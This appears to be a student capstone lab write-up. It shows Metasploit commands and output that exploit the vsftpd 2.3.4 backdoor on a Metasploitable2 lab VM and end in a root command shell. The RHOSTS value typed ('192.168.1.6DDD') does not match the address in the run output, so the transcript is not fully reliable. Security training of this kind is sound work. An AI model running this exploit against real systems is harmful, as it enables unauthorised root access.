Capstone Project

Attack Simulation (Metasploitable2):

Let use the exploit for backdoor on metasploitable

```
msf > use exploit/unix/ftp/vsftpd_234_backdoor
[*] No payload configured, defaulting to cmd/unix/interact
```

With the help of option we can see the list of option we need to input:

```
msf exploit(unix/ftp/vsftpd_234_backdoor) > options

Module options (exploit/unix/ftp/vsftpd_234_backdoor):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   CHOST                     no        The local client address
   CPORT                     no        The local client port
   Proxies                   no        A proxy chain of format type:host:port[,type:host:port][...]. Supported proxies: socks5, socks5h, sapni, http, socks4
   RHOSTS                    yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
   RPORT    21               yes       The target port (TCP)
```

Setting the RHOSTS mean that the Target IP:

```
msf exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 192.168.1.6DDD
RHOSTS => 192.168.1.6DDD
msf exploit(unix/ftp/vsftpd_234_backdoor) > options

Module options (exploit/unix/ftp/vsftpd_234_backdoor):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   CHOST                     no        The local client address
   CPORT                     no        The local client port
   Proxies                   no        A proxy chain of format type:host:port[,type:host:port][...]. Supported proxies: socks5, socks5h, sapni, http, socks4
   RHOSTS   192.168.1.6DDD   yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
   RPORT    21               yes       The target port (TCP)
```

run will execute the exploit and try to gain the access to it.

```
msf exploit(unix/ftp/vsftpd_234_backdoor) > run
[*] 192.168.1.6:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 192.168.1.6:21 - USER: 331 Please specify the password.
[+] 192.168.1.6:21 - Backdoor service has been spawned, handling...
[+] 192.168.1.6:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (192.168.1.7:46245 -> 192.168.1.6:6200) at 2025-12-12 15:49:24 +0545

```